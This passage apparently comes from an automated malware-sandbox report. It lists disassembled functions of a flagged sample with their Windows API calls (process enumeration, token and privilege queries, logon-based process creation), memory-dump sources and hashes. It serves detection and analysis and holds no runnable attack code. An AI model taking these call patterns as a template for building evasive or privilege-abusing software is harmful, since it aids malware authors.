                                      • Instruction Fuzzy Hash: 60310C75D10209AFC714DFA9C881DEEBBFCFF89304B54846AE415E7212DA319E45CBA1
                                      Function 0091D3FA Relevance: 6.1, APIs: 4, Instructions: 86processCOMMON
                                      Download Yara Rule
                                      APIs
                                      • CreateToolhelp32Snapshot.KERNEL32 ref: 0091D41F
                                      • Process32FirstW.KERNEL32(00000000,?), ref: 0091D42D
                                      • Process32NextW.KERNEL32(00000000,?), ref: 0091D44D
                                      • CloseHandle.KERNEL32(00000000), ref: 0091D4FA
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.1740772286.00000000008B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008B0000, based on PE: true
                                      • Associated: 00000000.00000002.1740732061.00000000008B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.0000000000972000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000097C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000098A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.00000000009EE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740977152.00000000009F4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1741011992.00000000009F5000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_8b0000_SecuriteInfo.jbxd
                                      Similarity
                                      • API ID: Process32$CloseCreateFirstHandleNextSnapshotToolhelp32
                                      • String ID:
                                      • API String ID: 420147892-0
                                      • Opcode ID: 8033e4ac25b91182d4c035c0e1f14abadf8313402270ee67f90d849f8d0d7668
                                      • Instruction ID: 6a26e2c46e9ed9791202421eb24b89cc81e7de4fcfe2bd5844c2787581ee7435
                                      • Opcode Fuzzy Hash: 8033e4ac25b91182d4c035c0e1f14abadf8313402270ee67f90d849f8d0d7668
                                      • Instruction Fuzzy Hash: 59315C711082049FD311EF58C885AAFBBE8FF99350F04092DF585C62A1EB71A989CB93
                                      Function 0091D1DF Relevance: 6.1, APIs: 4, Instructions: 78COMMON
                                      Download Yara Rule
                                      APIs
                                      • GetFileAttributesW.KERNEL32(?,0094D034), ref: 0091D219
                                      • GetLastError.KERNEL32 ref: 0091D228
                                      • CreateDirectoryW.KERNEL32(?,00000000), ref: 0091D237
                                      • CreateDirectoryW.KERNEL32(?,00000000,00000000,000000FF,0094D034), ref: 0091D294
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.1740772286.00000000008B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008B0000, based on PE: true
                                      • Associated: 00000000.00000002.1740732061.00000000008B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.0000000000972000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000097C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000098A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.00000000009EE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740977152.00000000009F4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1741011992.00000000009F5000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_8b0000_SecuriteInfo.jbxd
                                      Similarity
                                      • API ID: CreateDirectory$AttributesErrorFileLast
                                      • String ID:
                                      • API String ID: 2267087916-0
                                      • Opcode ID: 4880b4295fd8556bcf3fdaf67989a802dc273047d32fbb4f0004498d7c0f3e90
                                      • Instruction ID: b21a16e84692bd7b6e8c57fd2fc68757a335a5823934773f0ce273e84aa22ce7
                                      • Opcode Fuzzy Hash: 4880b4295fd8556bcf3fdaf67989a802dc273047d32fbb4f0004498d7c0f3e90
                                      • Instruction Fuzzy Hash: A721817460A6059F8710DF28C8819EAB7E8FE56368F104E1DF4B9C72A1DB70D986CB42
                                      Function 009114B5 Relevance: 6.1, APIs: 4, Instructions: 78memoryCOMMON
                                      Download Yara Rule
                                      APIs
                                        • Part of subcall function 00910F58: GetTokenInformation.ADVAPI32(?,00000003(TokenIntegrityLevel),?,00000000,?), ref: 00910F6E
                                        • Part of subcall function 00910F58: GetLastError.KERNEL32(?,TokenIntegrityLevel,?,00000000,?), ref: 00910F7A
                                        • Part of subcall function 00910F58: GetProcessHeap.KERNEL32(00000008,?,?,TokenIntegrityLevel,?,00000000,?), ref: 00910F89
                                        • Part of subcall function 00910F58: RtlAllocateHeap.NTDLL(00000000,?,TokenIntegrityLevel), ref: 00910F90
                                        • Part of subcall function 00910F58: GetTokenInformation.ADVAPI32(?,00000003(TokenIntegrityLevel),00000000,?,?,?,TokenIntegrityLevel,?,00000000,?), ref: 00910FA6
                                      • LookupPrivilegeValueW.ADVAPI32(00000000,?,?), ref: 00911502
                                      • _memcmp.LIBVCRUNTIME ref: 00911525
                                      • GetProcessHeap.KERNEL32(00000000,00000000), ref: 0091155B
                                      • HeapFree.KERNEL32(00000000), ref: 00911562
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.1740772286.00000000008B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008B0000, based on PE: true
                                      • Associated: 00000000.00000002.1740732061.00000000008B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.0000000000972000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000097C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000098A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.00000000009EE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740977152.00000000009F4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1741011992.00000000009F5000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_8b0000_SecuriteInfo.jbxd
                                      Similarity
                                      • API ID: Heap$InformationProcessToken$AllocateErrorFreeLastLookupPrivilegeValue_memcmp
                                      • String ID:
                                      • API String ID: 2182266621-0
                                      • Opcode ID: 6bfa8d1a200f2bfdb828bc9e7c2524f2f690c770f635cc3ef8b2024aba2a6ba9
                                      • Instruction ID: e5435eaced7899e987d2a2cbfcfcfd656042d801c2e3bad1b9744abc6642ca12
                                      • Opcode Fuzzy Hash: 6bfa8d1a200f2bfdb828bc9e7c2524f2f690c770f635cc3ef8b2024aba2a6ba9
                                      • Instruction Fuzzy Hash: 63218971F01209BFDB10DFA8C945BEEBBB9EF84300F044059E516AB241E730AA89DB50
                                      Function 009426B5 Relevance: 6.1, APIs: 4, Instructions: 75COMMON
                                      Download Yara Rule
                                      APIs
                                      • GetWindowLongW.USER32(?,000000EC), ref: 0094273D
                                      • SetWindowLongW.USER32(?,000000EC,00000000), ref: 00942757
                                      • SetWindowLongW.USER32(?,000000EC,00000000), ref: 00942765
                                      • SetLayeredWindowAttributes.USER32(?,00000000,?,00000002), ref: 00942773
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.1740772286.00000000008B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008B0000, based on PE: true
                                      • Associated: 00000000.00000002.1740732061.00000000008B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.0000000000972000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000097C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000098A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.00000000009EE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740977152.00000000009F4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1741011992.00000000009F5000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_8b0000_SecuriteInfo.jbxd
                                      Similarity
                                      • API ID: Window$Long$AttributesLayered
                                      • String ID:
                                      • API String ID: 2169480361-0
                                      • Opcode ID: 5f34e0402aaa4e4102efe46285f28b500ea65ec74f7b9cda1327a190ac608fa7
                                      • Instruction ID: e4fe9e904f620587450d72f9ac3d8ec40c7516a99f5da902da0b31c615462419
                                      • Opcode Fuzzy Hash: 5f34e0402aaa4e4102efe46285f28b500ea65ec74f7b9cda1327a190ac608fa7
                                      • Instruction Fuzzy Hash: 2F21D035209511AFD7149B14C844FAA7B99FF86328F548158F42ACB2D2CB75FC82CB91
                                      Function 0091784B Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 71stringCOMMON
                                      Download Yara Rule
                                      APIs
                                        • Part of subcall function 00918CD3: lstrlenW.KERNEL32(?,00000002,000000FF,?,?,?,00917860,?,000000FF,?,009186AA,00000000,?,0000001C,?,?), ref: 00918CE2
                                        • Part of subcall function 00918CD3: lstrcpyW.KERNEL32(00000000,?,?,00917860,?,000000FF,?,009186AA,00000000,?,0000001C,?,?,00000000), ref: 00918D08
                                        • Part of subcall function 00918CD3: lstrcmpiW.KERNEL32(00000000,?,00917860,?,000000FF,?,009186AA,00000000,?,0000001C,?,?), ref: 00918D39
                                      • lstrlenW.KERNEL32(?,00000002,000000FF,?,000000FF,?,009186AA,00000000,?,0000001C,?,?,00000000), ref: 00917879
                                      • lstrcpyW.KERNEL32(00000000,?,?,009186AA,00000000,?,0000001C,?,?,00000000), ref: 0091789F
                                      • lstrcmpiW.KERNEL32(00000002,cdecl,?,009186AA,00000000,?,0000001C,?,?,00000000), ref: 009178DA
                                      Strings
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.1740772286.00000000008B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008B0000, based on PE: true
                                      • Associated: 00000000.00000002.1740732061.00000000008B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.0000000000972000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000097C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000098A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.00000000009EE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740977152.00000000009F4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1741011992.00000000009F5000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_8b0000_SecuriteInfo.jbxd
                                      Similarity
                                      • API ID: lstrcmpilstrcpylstrlen
                                      • String ID: cdecl
                                      • API String ID: 4031866154-3896280584
                                      • Opcode ID: da38577d7021c226260d0e723caf3fba1e1a4940fd1cfcd85f19b3495479c726
                                      • Instruction ID: b5cabda16179086333f30c3b53f601463bb459ddb9cdb155ee93b10c433ef058
                                      • Opcode Fuzzy Hash: da38577d7021c226260d0e723caf3fba1e1a4940fd1cfcd85f19b3495479c726
                                      • Instruction Fuzzy Hash: 6711A53A304306AFDB146F78C849EBAB7B9EF45750B50402AF942C7250EB719951D7A1
                                      Function 00945595 Relevance: 6.1, APIs: 4, Instructions: 67windowCOMMON
                                      Download Yara Rule
                                      APIs
                                      • SendMessageW.USER32(?,00001060,?,00000004), ref: 009455F0
                                      • _wcslen.LIBCMT ref: 00945602
                                      • _wcslen.LIBCMT ref: 0094560D
                                      • SendMessageW.USER32(?,00001002,00000000,?), ref: 0094574B
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.1740772286.00000000008B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008B0000, based on PE: true
                                      • Associated: 00000000.00000002.1740732061.00000000008B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.0000000000972000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000097C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000098A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.00000000009EE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740977152.00000000009F4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1741011992.00000000009F5000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_8b0000_SecuriteInfo.jbxd
                                      Similarity
                                      • API ID: MessageSend_wcslen
                                      • String ID:
                                      • API String ID: 455545452-0
                                      • Opcode ID: 4a0529ec18d25d654f3c296eca68340faf43928555ee9ee73749b0789809a2cb
                                      • Instruction ID: c4b5602a77abca4d1d1fc4b37ae33ec78e168349c4a94977add6724bd46afc5c
                                      • Opcode Fuzzy Hash: 4a0529ec18d25d654f3c296eca68340faf43928555ee9ee73749b0789809a2cb
                                      • Instruction Fuzzy Hash: B511817660060897DB20DFE49C85EEE77ACEF11794B11853AF905D6282EBB4C9408F60
                                      Function 00911412 Relevance: 6.1, APIs: 4, Instructions: 64processCOMMON
                                      Download Yara Rule
                                      APIs
                                      • GetCurrentProcess.KERNEL32(0000000A,00000004), ref: 00911443
                                      • OpenProcessToken.ADVAPI32(00000000), ref: 0091144A
                                      • CloseHandle.KERNEL32(00000004), ref: 00911464
                                      • CreateProcessWithLogonW.ADVAPI32(?,?,?,00000000,00000000,?,?,00000000,?,?,?), ref: 00911493
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.1740772286.00000000008B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008B0000, based on PE: true
                                      • Associated: 00000000.00000002.1740732061.00000000008B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.0000000000972000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000097C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000098A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.00000000009EE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740977152.00000000009F4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1741011992.00000000009F5000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_8b0000_SecuriteInfo.jbxd
                                      Similarity
                                      • API ID: Process$CloseCreateCurrentHandleLogonOpenTokenWith
                                      • String ID:
                                      • API String ID: 2621361867-0
                                      • Opcode ID: a5307086dd07c76f43fd21b39ba877f362e77f5910bfed43e84127eddf354158
                                      • Instruction ID: 6a2d4f74710c266ec7c3e57b9cf94219e4ec88bfd6a122ceb21e78c0d23921f0
                                      • Opcode Fuzzy Hash: a5307086dd07c76f43fd21b39ba877f362e77f5910bfed43e84127eddf354158
                                      • Instruction Fuzzy Hash: 9F113AB661520DBFDF118FA4ED49FDE7BA9EF09B14F148015FA01A21A0C3758DA0EB60
                                      Function 008E1C99 Relevance: 6.1, APIs: 4, Instructions: 63COMMON
                                      Download Yara Rule
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.1740772286.00000000008B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008B0000, based on PE: true
                                      • Associated: 00000000.00000002.1740732061.00000000008B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.0000000000972000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000097C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000098A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.00000000009EE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740977152.00000000009F4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1741011992.00000000009F5000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_8b0000_SecuriteInfo.jbxd
                                      Similarity
                                      • API ID:
                                      • String ID:
                                      • API String ID:
                                      • Opcode ID: 07a299230741e5cd4d98e96b281f98f21a7b8ef9f05068ade509c18cc9fa9af4
                                      • Instruction ID: 68c1545531bec2179886a722ce162b7d9aee34d9ec33f63a47f07aafb3801c32
                                      • Opcode Fuzzy Hash: 07a299230741e5cd4d98e96b281f98f21a7b8ef9f05068ade509c18cc9fa9af4
                                      • Instruction Fuzzy Hash: 2801A2B270A29A7EFA21267E7CC5F27671DFF837B9B300325B521D11D2DA718C405160
                                      Function 0091196B Relevance: 6.1, APIs: 4, Instructions: 56windowCOMMON
                                      Download Yara Rule
                                      APIs
                                      • SendMessageW.USER32(?,000000B0,?,?), ref: 0091198B
                                      • SendMessageW.USER32(?,000000C9,?,00000000), ref: 0091199D
                                      • SendMessageW.USER32(?,000000C9,?,00000000), ref: 009119B3
                                      • SendMessageW.USER32(?,000000C9,?,00000000), ref: 009119CE
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.1740772286.00000000008B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008B0000, based on PE: true
                                      • Associated: 00000000.00000002.1740732061.00000000008B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.0000000000972000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000097C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000098A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.00000000009EE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740977152.00000000009F4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1741011992.00000000009F5000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_8b0000_SecuriteInfo.jbxd
                                      Similarity
                                      • API ID: MessageSend
                                      • String ID:
                                      • API String ID: 3850602802-0
                                      • Opcode ID: 31c7f573ed8ba935135be9d7f6155b11086a249378c18e09676db3c1bf855bdc
                                      • Instruction ID: d75f8451a9485a7b3a8a43dcba8402121413b071c86efe90fa67a109379382e6
                                      • Opcode Fuzzy Hash: 31c7f573ed8ba935135be9d7f6155b11086a249378c18e09676db3c1bf855bdc
                                      • Instruction Fuzzy Hash: 5D11393AA01218FFEF109BA5CD85FDEBB78EB08754F200091EA10B7290D6716E50DB94
                                      Function 0091E0F4 Relevance: 6.1, APIs: 4, Instructions: 55synchronizationthreadwindowCOMMON
                                      Download Yara Rule
                                      APIs
                                      • GetCurrentThreadId.KERNEL32 ref: 0091E11B
                                      • MessageBoxW.USER32(?,?,?,?), ref: 0091E14E
                                      • WaitForSingleObject.KERNEL32(00000000,000000FF,?,?,?,?), ref: 0091E164
                                      • CloseHandle.KERNEL32(00000000,?,?,?,?), ref: 0091E16B
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.1740772286.00000000008B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008B0000, based on PE: true
                                      • Associated: 00000000.00000002.1740732061.00000000008B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.0000000000972000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000097C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000098A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.00000000009EE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740977152.00000000009F4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1741011992.00000000009F5000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_8b0000_SecuriteInfo.jbxd
                                      Similarity
                                      • API ID: CloseCurrentHandleMessageObjectSingleThreadWait
                                      • String ID:
                                      • API String ID: 2880819207-0
                                      • Opcode ID: bf334e20dd0453397e46658fafe67d861f84c76394a2b4597f504a40dfc99d29
                                      • Instruction ID: a6f72f41d6864c7f1f8ef4f17f4c2dc58bbbc1530e3de1bbf2e1d627ab989755
                                      • Opcode Fuzzy Hash: bf334e20dd0453397e46658fafe67d861f84c76394a2b4597f504a40dfc99d29
                                      • Instruction Fuzzy Hash: CA11C4B6B18258BFCB119FA8DC05EDA7BADEB46324F044256F825D3391D670894497A0
                                      Function 008DD15C Relevance: 6.1, APIs: 4, Instructions: 55threadCOMMON
                                      Download Yara Rule
                                      APIs
                                      • CreateThread.KERNEL32(00000000,?,008DCF89,00000000,00000004,00000000), ref: 008DD1A8
                                      • GetLastError.KERNEL32 ref: 008DD1B4
                                      • __dosmaperr.LIBCMT ref: 008DD1BB
                                      • ResumeThread.KERNEL32(00000000), ref: 008DD1D9
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.1740772286.00000000008B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008B0000, based on PE: true
                                      • Associated: 00000000.00000002.1740732061.00000000008B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.0000000000972000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000097C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000098A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.00000000009EE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740977152.00000000009F4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1741011992.00000000009F5000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_8b0000_SecuriteInfo.jbxd
                                      Similarity
                                      • API ID: Thread$CreateErrorLastResume__dosmaperr
                                      • String ID:
                                      • API String ID: 173952441-0
                                      • Opcode ID: 5615997530881de60587c233762b9975f44cacaec6f6ccc0ca14640487112b15
                                      • Instruction ID: f3a8b47f00ee11d571d113702a88452b40552ae9d0abb7ecad20c58bcc7e68b6
                                      • Opcode Fuzzy Hash: 5615997530881de60587c233762b9975f44cacaec6f6ccc0ca14640487112b15
                                      • Instruction Fuzzy Hash: 1101D676509314BBDB106FA9DC05AAABB6DFF82731F10431AF925C63E0CF718941D6A1
                                      Function 008B79B6 Relevance: 6.1, APIs: 4, Instructions: 53windowCOMMON
                                      Download Yara Rule
                                      APIs
                                      • CreateWindowExW.USER32(?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 008B79F4
                                      • GetStockObject.GDI32(00000011), ref: 008B7A08
                                      • SendMessageW.USER32(00000000,00000030,00000000), ref: 008B7A12
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.1740772286.00000000008B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008B0000, based on PE: true
                                      • Associated: 00000000.00000002.1740732061.00000000008B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.0000000000972000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000097C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000098A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.00000000009EE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740977152.00000000009F4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1741011992.00000000009F5000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_8b0000_SecuriteInfo.jbxd
                                      Similarity
                                      • API ID: CreateMessageObjectSendStockWindow
                                      • String ID:
                                      • API String ID: 3970641297-0
                                      • Opcode ID: 12122d11b2549c9f5a8d4e80f10c398603461054f3c105cdbe41f9e1108bfab8
                                      • Instruction ID: 8b8cbae81ca22d04eade0086179e310ff4ec34ba12df508645e8fa9d5abe8706
                                      • Opcode Fuzzy Hash: 12122d11b2549c9f5a8d4e80f10c398603461054f3c105cdbe41f9e1108bfab8
                                      • Instruction Fuzzy Hash: A611C4B251A619BFEF418F949C40EEEBB6DFF49364F000101FA0492220C731DD60EBA0
                                      Function 008D3ACC Relevance: 6.1, APIs: 4, Instructions: 53COMMONLIBRARYCODE
                                      Download Yara Rule
                                      APIs
                                      • ___BuildCatchObject.LIBVCRUNTIME ref: 008D3AE6
                                        • Part of subcall function 008D3A33: BuildCatchObjectHelperInternal.LIBVCRUNTIME ref: 008D3A62
                                        • Part of subcall function 008D3A33: ___AdjustPointer.LIBCMT ref: 008D3A7D
                                      • _UnwindNestedFrames.LIBCMT ref: 008D3AFB
                                      • __FrameHandler3::FrameUnwindToState.LIBVCRUNTIME ref: 008D3B0C
                                      • CallCatchBlock.LIBVCRUNTIME ref: 008D3B34
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.1740772286.00000000008B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008B0000, based on PE: true
                                      • Associated: 00000000.00000002.1740732061.00000000008B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.0000000000972000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000097C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000098A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.00000000009EE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740977152.00000000009F4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1741011992.00000000009F5000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_8b0000_SecuriteInfo.jbxd
                                      Similarity
                                      • API ID: Catch$BuildFrameObjectUnwind$AdjustBlockCallFramesHandler3::HelperInternalNestedPointerState
                                      • String ID:
                                      • API String ID: 737400349-0
                                      • Opcode ID: 12ea49abee573113f57dbd3ec3a577afcc9c348439d29e6cbe32e78011ac24d3
                                      • Instruction ID: 7dfd3bb2acdaf5ab2b41841e6696a06a81a53b0a6eb1da84a4c7f742a3527616
                                      • Opcode Fuzzy Hash: 12ea49abee573113f57dbd3ec3a577afcc9c348439d29e6cbe32e78011ac24d3
                                      • Instruction Fuzzy Hash: 63012D32200148BBCF126F99CC42DEB7B69FF58754F054216FE4896221C732E961DBA1
                                      Function 008E3003 Relevance: 6.1, APIs: 4, Instructions: 52libraryCOMMONLIBRARYCODE
                                      Download Yara Rule
                                      APIs
                                      • LoadLibraryExW.KERNEL32(00000000,00000000,00000800,008F242E,00000000,00000000,?,008E2FAA,008F242E,00000000,00000000,00000000,?,008E321B,00000006,FlsSetValue), ref: 008E3035
                                      • GetLastError.KERNEL32(?,008E2FAA,008F242E,00000000,00000000,00000000,?,008E321B,00000006,FlsSetValue,009522B0,FlsSetValue,00000000,00000364,?,008E2DD6), ref: 008E3041
                                      • LoadLibraryExW.KERNEL32(00000000,00000000,00000000,?,008E2FAA,008F242E,00000000,00000000,00000000,?,008E321B,00000006,FlsSetValue,009522B0,FlsSetValue,00000000), ref: 008E304F
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.1740772286.00000000008B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008B0000, based on PE: true
                                      • Associated: 00000000.00000002.1740732061.00000000008B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.0000000000972000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000097C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000098A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.00000000009EE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740977152.00000000009F4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1741011992.00000000009F5000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_8b0000_SecuriteInfo.jbxd
                                      Similarity
                                      • API ID: LibraryLoad$ErrorLast
                                      • String ID:
                                      • API String ID: 3177248105-0
